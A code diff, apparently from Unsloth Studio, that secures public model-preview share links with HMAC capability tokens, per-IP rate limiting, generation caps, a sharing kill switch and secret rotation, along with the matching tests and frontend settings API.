+        raise RuntimeError("settings db unavailable")
+
+    monkeypatch.setattr(sdb, "get_app_setting", _boom)
+    assert get_preview_sharing_enabled() is False
diff --git a/studio/backend/tests/test_preview_routes.py b/studio/backend/tests/test_preview_routes.py
index d6edd4ef4d..8fa3093d04 100644
--- a/studio/backend/tests/test_preview_routes.py
+++ b/studio/backend/tests/test_preview_routes.py
@@ -5,10 +5,12 @@
 
 Exercises the route layer with a real ``preview_router`` while stubbing the
 expensive model calls (``load_model`` / ``openai_chat_completions``). Covers the
-public-surface guarantees: path-traversal rejection, request sanitization
-(tools / provider routing / use_adapter), asset-path containment, the page CSP
-header + HTML escaping, and that the preview lock is held until a streaming
-response is fully drained.
+public-surface guarantees: HMAC capability gating (a valid ``?k=`` token or
+Bearer credential is required; missing/invalid/wrong-ref tokens 404 before any
+model load), path-traversal rejection, request sanitization (tools / provider
+routing / use_adapter / generation clamp), asset-path containment, the page CSP
++ no-referrer headers and HTML escaping, and that the preview lock is held until
+a streaming response is fully drained.
 """
 
 import asyncio
@@ -34,9 +36,23 @@ from fastapi.responses import StreamingResponse
 from fastapi.testclient import TestClient
 
 import routes.preview as preview
+import utils.preview_token as preview_token
 from models.inference import ChatCompletionRequest
 
 
+# A fixed secret keeps signing deterministic and avoids touching auth.db.
+_TEST_SECRET = b"unit-test-preview-secret-0123456789"
+
+
+def _use_test_secret(monkeypatch) -> None:
+    monkeypatch.setattr(preview_token, "get_or_create_preview_link_secret", lambda: _TEST_SECRET)
+
+
+def _sig(ref: str) -> str:
+    """Valid capability token for ``ref`` under the patched test secret."""
+    return preview_token.sign_preview_ref(ref)
+
+
 def _make_run(outputs: Path, name: str = "demorun") -> Path:
     run = outputs / name
     run.mkdir(parents = True)
@@ -59,6 +75,14 @@ def client(tmp_path, monkeypatch, captured):
     outputs = tmp_path / "outputs"
     _make_run(outputs)
 
+    _use_test_secret(monkeypatch)
+
+    # Public sharing on by default; reset the per-IP rate buckets each test.
+    monkeypatch.setattr(preview, "get_preview_sharing_enabled", lambda: True)
+    import utils.preview_rate_limit as _rl
+
+    _rl.reset()
+
     # resolve_preview_checkpoint -> resolve_output_dir -> outputs_root().
     from utils.paths import storage_roots as _sr
 
@@ -86,18 +110,21 @@ def client(tmp_path, monkeypatch, captured):
 
 
 def test_page_renders_with_csp(client):
-    r = client.get("/p/demorun")
+    r = client.get(f"/p/demorun?k={_sig('demorun')}")
     assert r.status_code == 200
     assert "text/html" in r.headers["content-type"]
     csp = r.headers.get("content-security-policy", "")
     assert "default-src 'self'" in csp
     assert "base-uri 'none'" in csp
+    # Token rides in the query string; keep it out of the Referer header.
+    assert r.headers.get("referrer-policy") == "no-referrer"
 
 
 def test_page_escapes_title(tmp_path, monkeypatch, captured):
     outputs = tmp_path / "outputs"
     # Run dir name carries an HTML-special char; the page must escape it.
     _make_run(outputs, name = "a<b")
+    _use_test_secret(monkeypatch)
     from utils.paths import storage_roots as _sr
 
     monkeypatch.setattr(_sr, "outputs_root", lambda: outputs)
@@ -106,14 +133,15 @@ def test_page_escapes_title(tmp_path, monkeypatch, captured):
     app.include_router(preview.router, prefix = "/p")
     c = TestClient(app, raise_server_exceptions = False)
 
-    r = c.get("/p/a%3Cb")
+    # Sign the decoded canonical ref ("a<b"), not the %-encoded path segment.
+    r = c.get(f"/p/a%3Cb?k={_sig('a<b')}")
     assert r.status_code == 200
     assert "a<b" not in r.text
     assert "a&lt;b" in r.text
 
 
 def test_models_endpoint_shape(client):
-    r = client.get("/p/demorun/v1/models")
+    r = client.get(f"/p/demorun/v1/models?k={_sig('demorun')}")
     assert r.status_code == 200
     body = r.json()
     assert body["object"] == "list"
@@ -131,6 +159,25 @@ def test_list_previews_builds_urls(client, monkeypatch):
     assert r.status_code == 200
     data = r.json()["data"]
     assert data[0]["url"].endswith("/p/demorun/v1")
+    # The listing hands the authenticated owner a usable capability.
+    assert data[0]["key"] == _sig("demorun")
+    assert data[0]["share_url"].endswith(f"/p/demorun?k={_sig('demorun')}")
+
+
+def test_list_previews_omits_capability_when_sharing_disabled(client, monkeypatch):
+    monkeypatch.setattr(
+        preview,
+        "list_preview_targets",
+        lambda: [{"ref": "demorun", "is_latest": True}],
+    )
+    monkeypatch.setattr(preview, "get_preview_sharing_enabled", lambda: False)
+    r = client.get("/p")
+    assert r.status_code == 200
+    body = r.json()
+    # Don't hand out credentials that 404; signal the disabled state instead.
+    assert body["sharing_enabled"] is False
+    assert body["data"][0]["key"] is None
+    assert body["data"][0]["share_url"] is None
 
 
 # ── Path traversal / containment ────────────────────────────────────────────
@@ -179,7 +226,7 @@ def test_asset_path_contained(client, asset):
 
 def test_chat_payload_sanitized(client, captured):
     r = client.post(
-        "/p/demorun/v1/chat/completions",
+        f"/p/demorun/v1/chat/completions?k={_sig('demorun')}",
         json = {
             "messages": [{"role": "user", "content": "hi"}],
             "tools": [{"type": "function", "function": {"name": "rm", "parameters": {}}}],
@@ -217,6 +264,10 @@ def test_chat_payload_sanitized(client, captured):
     assert p.external_model is None
     # Adapter pinned on for LoRA: a caller can't flip the shared backend to base.
     assert p.use_adapter is True
+    # Generation cost capped on this public surface (no override sent -> ceiling).
+    assert p.max_tokens == preview._PREVIEW_MAX_OUTPUT_TOKENS
+    assert p.max_completion_tokens == preview._PREVIEW_MAX_OUTPUT_TOKENS
+    assert p.n == 1
     # Loads the resolved checkpoint dir, not an attacker-supplied path.
     assert captured["load_path"].endswith("demorun")
 
@@ -228,6 +279,7 @@ def test_merged_checkpoint_strips_use_adapter(tmp_path, monkeypatch, captured):
     merged.mkdir(parents = True)
     (merged / "config.json").write_text(json.dumps({"_name_or_path": "some/base"}))
 
+    _use_test_secret(monkeypatch)
     from utils.paths import storage_roots as _sr
 
     monkeypatch.setattr(_sr, "outputs_root", lambda: outputs)
@@ -246,7 +298,7 @@ def test_merged_checkpoint_strips_use_adapter(tmp_path, monkeypatch, captured):
     app.include_router(preview.router, prefix = "/p")
     c = TestClient(app, raise_server_exceptions = False)
     r = c.post(
-        "/p/mergedrun/v1/chat/completions",
+        f"/p/mergedrun/v1/chat/completions?k={_sig('mergedrun')}",
         json = {"messages": [{"role": "user", "content": "hi"}], "use_adapter": False},
     )
     assert r.status_code == 200
@@ -291,3 +343,154 @@ def test_streaming_holds_lock_until_drained(tmp_path, monkeypatch, captured):
     chunks = asyncio.run(_run())
     assert any(b"[DONE]" in c for c in chunks)
     assert not preview._preview_lock.locked()
+
+
+# ── Capability gating ────────────────────────────────────────────────────────
+
+
+def test_chat_without_token_404_and_no_load(client, captured):
+    r = client.post(
+        "/p/demorun/v1/chat/completions",
+        json = {"messages": [{"role": "user", "content": "hi"}]},
+    )
+    assert r.status_code == 404
+    # Verified before any model work: nothing loaded, nothing generated.
+    assert "load_path" not in captured
+    assert "payload" not in captured
+
+
+def test_chat_with_invalid_token_404(client, captured):
+    r = client.post(
+        "/p/demorun/v1/chat/completions?k=not-a-valid-token",
+        json = {"messages": [{"role": "user", "content": "hi"}]},
+    )
+    assert r.status_code == 404
+    assert "load_path" not in captured
+
+
+def test_token_for_other_ref_rejected(client, captured):
+    # A capability minted for a different ref must not unlock demorun.
+    r = client.post(
+        f"/p/demorun/v1/chat/completions?k={_sig('otherrun')}",
+        json = {"messages": [{"role": "user", "content": "hi"}]},
+    )
+    assert r.status_code == 404
+    assert "load_path" not in captured
+
+
+def test_models_without_token_404(client):
+    assert client.get("/p/demorun/v1/models").status_code == 404
+
+
+def test_page_without_token_404(client):
+    assert client.get("/p/demorun").status_code == 404
+
+
+def test_checkpoint_route_with_valid_sig(client, captured):
+    # Nested ref: the signed/verified/resolved canonical ref is "run/checkpoint".
+    sig = _sig("demorun/checkpoint-1")
+    r = client.post(
+        f"/p/demorun/checkpoint-1/v1/chat/completions?k={sig}",
+        json = {"messages": [{"role": "user", "content": "hi"}]},
+    )
+    assert r.status_code == 200
+    assert captured["load_path"].endswith("checkpoint-1")
+
+
+def test_checkpoint_token_does_not_unlock_bare_run(client, captured):
+    # A token minted for the nested checkpoint must not unlock the run ref.
+    r = client.post(
+        f"/p/demorun/v1/chat/completions?k={_sig('demorun/checkpoint-1')}",
+        json = {"messages": [{"role": "user", "content": "hi"}]},
+    )
+    assert r.status_code == 404
+    assert "load_path" not in captured
+
+
+def test_bearer_token_accepted(client, captured):
+    # OpenAI-compatible clients pass the capability as the api_key (Bearer header).
+    r = client.post(
+        "/p/demorun/v1/chat/completions",
+        headers = {"Authorization": f"Bearer {_sig('demorun')}"},
+        json = {"messages": [{"role": "user", "content": "hi"}]},
+    )
+    assert r.status_code == 200
+    assert captured["load_path"].endswith("demorun")
+
+
+def test_generation_clamp_caps_overrides(client, captured):
+    r = client.post(
+        f"/p/demorun/v1/chat/completions?k={_sig('demorun')}",
+        json = {
+            "messages": [{"role": "user", "content": "hi"}],
+            "max_tokens": 999999,
+            "max_completion_tokens": 888888,
+            "n": 64,
+        },
+    )
+    assert r.status_code == 200
+    p = captured["payload"]
+    assert p.max_tokens == preview._PREVIEW_MAX_OUTPUT_TOKENS
+    assert p.max_completion_tokens == preview._PREVIEW_MAX_OUTPUT_TOKENS
+    assert p.n == 1
+
+
+def test_generation_clamp_honors_lower_legacy_max_tokens(client, captured):
+    # A caller asking for fewer tokens via the legacy field must not be bumped up
+    # to the ceiling: _effective_max_tokens prefers max_completion_tokens, so both
+    # fields have to carry the lower value.
+    r = client.post(
+        f"/p/demorun/v1/chat/completions?k={_sig('demorun')}",
+        json = {"messages": [{"role": "user", "content": "hi"}], "max_tokens": 16},
+    )
+    assert r.status_code == 200
+    p = captured["payload"]
+    assert p.max_tokens == 16
+    assert p.max_completion_tokens == 16
+
+
+def test_generation_clamp_honors_lower_completion_tokens(client, captured):
+    r = client.post(
+        f"/p/demorun/v1/chat/completions?k={_sig('demorun')}",
+        json = {"messages": [{"role": "user", "content": "hi"}], "max_completion_tokens": 32},
+    )
+    assert r.status_code == 200
+    p = captured["payload"]
+    assert p.max_tokens == 32
+    assert p.max_completion_tokens == 32
+
+
+# ── Public-sharing kill switch ───────────────────────────────────────────────
+
+
+def test_chat_blocked_when_sharing_disabled(client, monkeypatch, captured):
+    # Admin turned public sharing off: even a valid token 404s, with no model load.
+    monkeypatch.setattr(preview, "get_preview_sharing_enabled", lambda: False)
+    r = client.post(
+        f"/p/demorun/v1/chat/completions?k={_sig('demorun')}",
+        json = {"messages": [{"role": "user", "content": "hi"}]},
+    )
+    assert r.status_code == 404
+    assert "load_path" not in captured
+
+
+def test_page_blocked_when_sharing_disabled(client, monkeypatch):
+    monkeypatch.setattr(preview, "get_preview_sharing_enabled", lambda: False)
+    assert client.get(f"/p/demorun?k={_sig('demorun')}").status_code == 404
+
+
+# ── Rate limiting ────────────────────────────────────────────────────────────
+
+
+def test_chat_rate_limited_returns_429(client, monkeypatch):
+    import utils.preview_rate_limit as rl
+
+    monkeypatch.setattr(rl, "_MAX_REQUESTS", 2)
+    rl.reset()
+    url = f"/p/demorun/v1/chat/completions?k={_sig('demorun')}"
+    body = {"messages": [{"role": "user", "content": "hi"}]}
+    assert client.post(url, json = body).status_code == 200
+    assert client.post(url, json = body).status_code == 200
+    r = client.post(url, json = body)
+    assert r.status_code == 429
+    assert r.headers.get("retry-after")
diff --git a/studio/backend/tests/test_preview_sharing_settings.py b/studio/backend/tests/test_preview_sharing_settings.py
new file mode 100644
index 0000000000..abadaf483c
--- /dev/null
+++ b/studio/backend/tests/test_preview_sharing_settings.py
@@ -0,0 +1,77 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Route-level tests for the preview settings endpoints (rotate + sharing toggle)."""
+
+from pathlib import Path
+import sys
+import types as _types
+
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+
+import pytest
+from fastapi import FastAPI
+from fastapi.testclient import TestClient
+
+import routes.settings as settings
+
+
+@pytest.fixture
+def client(monkeypatch):
+    # Stub the persistence helpers so the endpoints don't touch the real DBs.
+    calls: dict = {"enabled": True}
+
+    def _set(value):
+        calls["set"] = bool(value)
+        calls["enabled"] = bool(value)
+        return bool(value)
+
+    monkeypatch.setattr(settings, "get_preview_sharing_enabled", lambda: calls["enabled"])
+    monkeypatch.setattr(settings, "set_preview_sharing_enabled", _set)
+    monkeypatch.setattr(
+        settings, "rotate_preview_link_secret", lambda: calls.__setitem__("rotated", True)
+    )
+
+    app = FastAPI()
+    app.include_router(settings.router)
+    app.dependency_overrides[settings.get_current_subject] = lambda: "admin"
+    return TestClient(app, raise_server_exceptions = False), calls
+
+
+def test_rotate_preview_links(client):
+    c, calls = client
+    r = c.post("/preview-links/rotate")
+    assert r.status_code == 200
+    assert r.json() == {"rotated": True}
+    assert calls.get("rotated") is True
+
+
+def test_get_preview_sharing(client):
+    c, _ = client
+    r = c.get("/preview-sharing")
+    assert r.status_code == 200
+    body = r.json()
+    assert body["enabled"] is True
+    assert "default_enabled" in body
+
+
+def test_put_preview_sharing_disables(client):
+    c, calls = client
+    r = c.put("/preview-sharing", json = {"enabled": False})
+    assert r.status_code == 200
+    assert r.json()["enabled"] is False
+    assert calls["set"] is False
+
+
+def test_put_preview_sharing_rejects_non_bool(client):
+    # Pydantic rejects a non-bool body (422) before the handler runs.
+    c, _ = client
+    r = c.put("/preview-sharing", json = {"enabled": "maybe"})
+    assert r.status_code == 422
diff --git a/studio/backend/tests/test_preview_token.py b/studio/backend/tests/test_preview_token.py
new file mode 100644
index 0000000000..6b0e802864
--- /dev/null
+++ b/studio/backend/tests/test_preview_token.py
@@ -0,0 +1,75 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Unit + rotation coverage for `/p` preview capability tokens.
+
+The token turns a guessable preview ref into an unguessable bearer capability:
+it must round-trip for the ref it was signed for, reject tampering / wrong refs,
+and stop verifying once the signing secret is rotated (link revocation).
+"""
+
+from pathlib import Path
+import sys
+import types as _types
+
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+# Mirror the other preview tests: avoid the heavy real `loggers` handlers.
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+
+import auth.storage as storage
+import utils.preview_token as preview_token
+
+
+_S1 = b"secret-one-aaaaaaaaaaaaaaaaaaaaaaaa"
+_S2 = b"secret-two-bbbbbbbbbbbbbbbbbbbbbbbb"
+
+
+def test_sign_verify_roundtrip(monkeypatch):
+    monkeypatch.setattr(preview_token, "get_or_create_preview_link_secret", lambda: _S1)
+    token = preview_token.sign_preview_ref("run/checkpoint-1")
+    assert preview_token.verify_preview_ref("run/checkpoint-1", token)
+    # URL-safe, unpadded, and high-entropy (SHA-256 -> 43 base64url chars).
+    assert "=" not in token and "/" not in token and "+" not in token
+    assert len(token) >= 40
+
+
+def test_missing_or_tampered_token_rejected(monkeypatch):
+    monkeypatch.setattr(preview_token, "get_or_create_preview_link_secret", lambda: _S1)
+    token = preview_token.sign_preview_ref("demorun")
+    assert not preview_token.verify_preview_ref("demorun", None)
+    assert not preview_token.verify_preview_ref("demorun", "")
+    flipped = token[:-1] + ("A" if token[-1] != "A" else "B")
+    assert not preview_token.verify_preview_ref("demorun", flipped)
+    # A token minted for one ref does not unlock another.
+    assert not preview_token.verify_preview_ref("otherrun", token)
+    # A non-ASCII token is invalid, not a crash (the route would 500 otherwise).
+    assert not preview_token.verify_preview_ref("demorun", "tøken-é")
+
+
+def test_secret_change_invalidates_token(monkeypatch):
+    monkeypatch.setattr(preview_token, "get_or_create_preview_link_secret", lambda: _S1)
+    token = preview_token.sign_preview_ref("demorun")
+    monkeypatch.setattr(preview_token, "get_or_create_preview_link_secret", lambda: _S2)
+    assert not preview_token.verify_preview_ref("demorun", token)
+
+
+def test_rotation_revokes_links(tmp_path, monkeypatch):
+    # Exercise the real storage helpers against a throwaway auth.db.
+    monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db")
+    monkeypatch.setattr(storage, "_preview_link_secret_cache", None)
+
+    token = preview_token.sign_preview_ref("demorun")
+    assert preview_token.verify_preview_ref("demorun", token)
+    # Secret persists across calls (the link keeps working until rotated).
+    assert preview_token.verify_preview_ref("demorun", token)
+
+    storage.rotate_preview_link_secret()
+    # Old shared link is revoked; a freshly minted one works.
+    assert not preview_token.verify_preview_ref("demorun", token)
+    assert preview_token.verify_preview_ref("demorun", preview_token.sign_preview_ref("demorun"))
diff --git a/studio/backend/tests/test_training_history_update.py b/studio/backend/tests/test_training_history_update.py
index cf8188f911..aa586e1298 100644
--- a/studio/backend/tests/test_training_history_update.py
+++ b/studio/backend/tests/test_training_history_update.py
@@ -90,6 +90,23 @@ def test_update_run_whitespace_clears_display_name(monkeypatch: pytest.MonkeyPat
     assert result.display_name is None
 
 
+def test_get_run_detail_includes_preview_fields(monkeypatch: pytest.MonkeyPatch):
+    # Regression: detail/update must pass the sharing flag into _preview_fields;
+    # a missing arg used to surface as a 500 TypeError after get_run succeeded.
+    monkeypatch.setattr(training_history, "get_run", lambda run_id: dict(BASE_RUN))
+    monkeypatch.setattr(training_history, "get_run_metrics", lambda run_id: {})
+    monkeypatch.setattr(training_history, "can_resume_run", lambda run: False)
+    monkeypatch.setattr(training_history, "get_preview_sharing_enabled", lambda: True)
+
+    detail = asyncio.run(
+        training_history.get_training_run_detail("run-1", current_subject = "test-user")
+    )
+
+    assert detail.run.id == "run-1"
+    # Not a previewable dir, so no signed ref - but the field is built without error.
+    assert detail.run.preview_sig is None
+
+
 def test_update_run_rejects_unknown_fields():
     with pytest.raises(ValidationError):
         TrainingRunUpdateRequest.model_validate({"unknown": "value"})
diff --git a/studio/backend/utils/client_ip.py b/studio/backend/utils/client_ip.py
new file mode 100644
index 0000000000..94acbf1809
--- /dev/null
+++ b/studio/backend/utils/client_ip.py
@@ -0,0 +1,71 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Resolve the caller's IP for rate limiting.
+
+Trust model, in order:
+  1. If the operator opts in via ``UNSLOTH_STUDIO_TRUST_FORWARDED`` (Studio behind
+     their own reverse proxy), honor the *rightmost* ``X-Forwarded-For`` hop -- the
+     one the trusted proxy appended. The leftmost entry is client-controlled and
+     spoofable, so this assumes a proxy that appends (or overwrites) the header;
+     only enable the env var behind such a proxy.
+  2. If the socket peer is loopback, honor ``CF-Connecting-IP``. Studio's managed
+     Cloudflare tunnel terminates at 127.0.0.1, so every tunneled visitor would
+     otherwise collapse onto the same socket peer (the local cloudflared process)
+     and share one rate-limit bucket. ``CF-Connecting-IP`` is set by Cloudflare's
+     edge and can't be forged by a tunneled client.
+  3. Otherwise the socket peer, so a direct LAN caller can't spoof a header to
+     dodge a per-IP limit.
+"""
+
+from __future__ import annotations
+
+import ipaddress
+import os
+
+_TRUST_FORWARDED_ENV = "UNSLOTH_STUDIO_TRUST_FORWARDED"
+
+
+def _trust_forwarded_for() -> bool:
+    return os.environ.get(_TRUST_FORWARDED_ENV, "").strip().lower() in {"1", "true", "yes"}
+
+
+def _is_loopback(host: str | None) -> bool:
+    try:
+        return bool(host) and ipaddress.ip_address(host).is_loopback
+    except ValueError:
+        return False
+
+
+def _normalize_addr(value: str | None) -> str | None:
+    """Parse an ``X-Forwarded-For`` entry into a bare, validated IP (strip port/brackets)."""
+    raw = (value or "").strip().strip('"')
+    if not raw:
+        return None
+    if raw.startswith("["):  # [ipv6]:port
+        raw = raw[1:].split("]", 1)[0]
+    elif raw.count(":") == 1:  # ipv4:port
+        raw = raw.split(":", 1)[0]
+    try:
+        return ipaddress.ip_address(raw).compressed
+    except ValueError:
+        return None
+
+
+def client_ip(request) -> str:
+    """Best-effort client IP, or ``"_unknown"`` when it can't be determined."""
+    if request is None:
+        return "_unknown"
+    peer = request.client.host if request.client else None
+    if _trust_forwarded_for():
+        # Rightmost hop = what the trusted proxy saw; the leftmost is spoofable.
+        xff = request.headers.get("x-forwarded-for", "")
+        if xff:
+            normalized = _normalize_addr(xff.rsplit(",", 1)[-1])
+            if normalized:
+                return normalized
+    if _is_loopback(peer):
+        cf = _normalize_addr(request.headers.get("cf-connecting-ip"))
+        if cf:
+            return cf
+    return peer or "_unknown"
diff --git a/studio/backend/utils/preview_rate_limit.py b/studio/backend/utils/preview_rate_limit.py
new file mode 100644
index 0000000000..dd38cfd5e7
--- /dev/null
+++ b/studio/backend/utils/preview_rate_limit.py
@@ -0,0 +1,67 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Coarse per-IP sliding-window rate limit for the public ``/p`` preview chat.
+
+A signed link stops ref guessing, but anyone with a link can still drive GPU
+generation. This bounds sustained abuse from a single source. In-process and
+single-worker only (like the login limiter in ``routes/auth.py``); Studio runs as
+one uvicorn process, so a shared store isn't needed.
+"""
+
+from __future__ import annotations
+
+import threading
+import time
+from collections import deque
+
+# Window / ceiling for preview chat-completions per client IP.
+_WINDOW_SECONDS = 60.0
+_MAX_REQUESTS = 20
+# Bound memory on a public surface (many distinct IPs).
+_MAX_BUCKETS = 4096
+
+_buckets: dict[str, deque] = {}
+_lock = threading.Lock()
+
+
+def _prune(bucket: deque, now: float) -> None:
+    while bucket and now - bucket[0] > _WINDOW_SECONDS:
+        bucket.popleft()
+
+
+def _evict_aged(now: float) -> None:
+    """Drop only buckets that have fully aged out. Never evict an active bucket:
+    evicting a throttled key would reset its counter, so a flood of distinct keys
+    could cycle the table and clear a victim's (or its own) limit."""
+    for key in list(_buckets.keys()):
+        _prune(_buckets[key], now)
+        if not _buckets[key]:
+            del _buckets[key]
+
+
+def check_rate_limit(key: str) -> int:
+    """Record a hit for ``key``; return seconds-to-wait if over the limit, else 0."""
+    now = time.monotonic()
+    with _lock:
+        bucket = _buckets.get(key)
+        if bucket is None:
+            if len(_buckets) >= _MAX_BUCKETS:
+                _evict_aged(now)
+            if len(_buckets) >= _MAX_BUCKETS:
+                # Table is full of currently-active clients. Fail closed: deny the
+                # new key rather than evict a live bucket (which would hand out a
+                # rate-limit reset). Pathological only (>= _MAX_BUCKETS live IPs).
+                return max(1, int(_WINDOW_SECONDS))
+            bucket = _buckets[key] = deque()
+        _prune(bucket, now)
+        if len(bucket) >= _MAX_REQUESTS:
+            return max(1, int(_WINDOW_SECONDS - (now - bucket[0])) + 1)
+        bucket.append(now)
+        return 0
+
+
+def reset() -> None:
+    """Clear all buckets (test isolation)."""
+    with _lock:
+        _buckets.clear()
diff --git a/studio/backend/utils/preview_sharing_settings.py b/studio/backend/utils/preview_sharing_settings.py
new file mode 100644
index 0000000000..047c4be3b4
--- /dev/null
+++ b/studio/backend/utils/preview_sharing_settings.py
@@ -0,0 +1,55 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Persisted kill switch for public ``/p`` preview link sharing."""
+
+from __future__ import annotations
+
+from typing import Any
+
+PREVIEW_SHARING_SETTING_KEY = "preview_public_sharing_enabled"
+# Default on: signed share links work out of the box (current behavior). An admin
+# can flip this off to take the public ``/p`` surface offline entirely - links
+# then 404 even with a valid token, leaving preview to the authenticated app.
+DEFAULT_PREVIEW_SHARING_ENABLED = True
+
+
+def _coerce_bool(value: Any) -> bool | None:
+    if isinstance(value, bool):
+        return value
+    if isinstance(value, str):
+        normalized = value.strip().lower()
+        if normalized in {"1", "true", "yes", "on"}:
+            return True
+        if normalized in {"0", "false", "no", "off", ""}:
+            return False
+    return None
+
+
+def get_preview_sharing_enabled() -> bool:
+    """Read the persisted public-preview-sharing preference.
+
+    A *missing* setting defaults to enabled so the feature keeps working as
+    before unless an admin explicitly turns it off. A *read failure* (e.g. a
+    transient SQLite/permission error) fails closed -- this is a kill switch, so
+    an unreadable settings DB must not silently reopen the public surface.
+    """
+    try:
+        from storage.studio_db import get_app_setting
+        stored = get_app_setting(PREVIEW_SHARING_SETTING_KEY, None)
+    except Exception:
+        return False
+    parsed = _coerce_bool(stored)
+    return parsed if parsed is not None else DEFAULT_PREVIEW_SHARING_ENABLED
+
+
+def set_preview_sharing_enabled(value: Any) -> bool:
+    """Persist whether public ``/p`` preview links are accepted."""
+    parsed = _coerce_bool(value)
+    if parsed is None:
+        raise ValueError("Public preview sharing must be true or false.")
+
+    from storage.studio_db import upsert_app_settings
+
+    upsert_app_settings({PREVIEW_SHARING_SETTING_KEY: parsed})
+    return parsed
diff --git a/studio/backend/utils/preview_token.py b/studio/backend/utils/preview_token.py
new file mode 100644
index 0000000000..fd5b646dc9
--- /dev/null
+++ b/studio/backend/utils/preview_token.py
@@ -0,0 +1,52 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""HMAC capability tokens for public ``/p`` preview share links.
+
+The preview ref (``run`` or ``run/checkpoint``) is a deterministic, guessable
+outputs-root path, so it can't gate access on its own. We sign the canonical ref
+with a dedicated server-side secret and require the resulting token on every
+public preview request: guessing a ref no longer grants access, and rotating the
+secret (``auth.storage.rotate_preview_link_secret``) revokes every link at once.
+"""
+
+from __future__ import annotations
+
+import base64
+import hashlib
+import hmac
+from typing import Optional
+
+from auth.storage import get_or_create_preview_link_secret
+
+# Versioned so the token format can evolve without silently honoring old shapes.
+_PREVIEW_TOKEN_VERSION = "v1"
+
+
+def _canonical_payload(ref: str) -> bytes:
+    # Sign the canonical ref only (never host/path) so links stay portable across
+    # localhost / LAN IP / tunnel host changes.
+    return f"preview:{_PREVIEW_TOKEN_VERSION}:{ref}".encode("utf-8")
+
+
+def sign_preview_ref(ref: str) -> str:
+    """Return the URL-safe HMAC capability token for a canonical preview ref."""
+    mac = hmac.new(
+        get_or_create_preview_link_secret(),
+        _canonical_payload(ref),
+        hashlib.sha256,
+    ).digest()
+    return base64.urlsafe_b64encode(mac).rstrip(b"=").decode("ascii")
+
+
+def verify_preview_ref(ref: str, token: Optional[str]) -> bool:
+    """Constant-time check that ``token`` is a valid capability for ``ref``."""
+    if not token:
+        return False
+    # Compare as bytes: a non-ASCII token (e.g. a %-encoded query value) would make
+    # hmac.compare_digest on two str raise TypeError -> treat it as simply invalid.
+    try:
+        provided = token.encode("ascii")
+    except UnicodeEncodeError:
+        return False
+    return hmac.compare_digest(sign_preview_ref(ref).encode("ascii"), provided)
diff --git a/studio/frontend/src/features/settings/api/preview-sharing.ts b/studio/frontend/src/features/settings/api/preview-sharing.ts
new file mode 100644
index 0000000000..f3f6989023
--- /dev/null
+++ b/studio/frontend/src/features/settings/api/preview-sharing.ts
@@ -0,0 +1,62 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { authFetch } from "@/features/auth";
+import { readFastApiError } from "@/lib/format-fastapi-error";
+
+export type PreviewSharingSettings = {
+  enabled: boolean;
+  defaultEnabled: boolean;
+};
+
+type ApiPreviewSharingSettings = {
+  enabled: boolean;
+  // biome-ignore lint/style/useNamingConvention: API schema
+  default_enabled: boolean;
+};
+
+function fromApi(settings: ApiPreviewSharingSettings): PreviewSharingSettings {
+  return {
+    enabled: settings.enabled,
+    defaultEnabled: settings.default_enabled,
+  };
+}
+
+export async function loadPreviewSharing(): Promise<PreviewSharingSettings> {
+  const res = await authFetch("/api/settings/preview-sharing");
+  if (!res.ok) {
+    throw new Error(
+      await readFastApiError(res, "Failed to load preview sharing settings"),
+    );
+  }
+  return fromApi(await res.json());
+}
+
+export async function updatePreviewSharing(
+  enabled: boolean,
+): Promise<PreviewSharingSettings> {
+  const res = await authFetch("/api/settings/preview-sharing", {
+    method: "PUT",
+    headers: { "Content-Type": "application/json" },
+    body: JSON.stringify({ enabled }),
+  });
+  if (!res.ok) {
+    throw new Error(
+      await readFastApiError(res, "Failed to update preview sharing settings"),
+    );
+  }
+  return fromApi(await res.json());
+}
+
+// Rotate the server-side signing secret, invalidating every previously shared
+// /p preview link in one step. Newly copied links keep working.
+export async function rotatePreviewLinks(): Promise<void> {
+  const res = await authFetch("/api/settings/preview-links/rotate", {
+    method: "POST",
+  });
+  if (!res.ok) {
+    throw new Error(
+      await readFastApiError(res, "Failed to revoke preview links"),
+    );
+  }
+}
diff --git a/studio/frontend/src/features/settings/tabs/general-tab.tsx b/studio/frontend/src/features/settings/tabs/general-tab.tsx
index 5f926e34c3..b3f26c808e 100644
--- a/studio/frontend/src/features/settings/tabs/general-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/general-tab.tsx
@@ -13,18 +13,18 @@ import {
 import { Input } from "@/components/ui/input";
 import { Switch } from "@/components/ui/switch";
 import { usePlatformStore } from "@/config/env";
-import { isTauri } from "@/lib/api-base";
-import { openModelsDir } from "@/features/native-intents";
-import { copyToClipboard } from "@/lib/copy-to-clipboard";
-import { toast } from "@/lib/toast";
-import { loadModelsFolder, type ModelsFolder } from "../api/models-folder";
 import { resetOnboardingDone } from "@/features/auth";
 import { useChatRuntimeStore } from "@/features/chat";
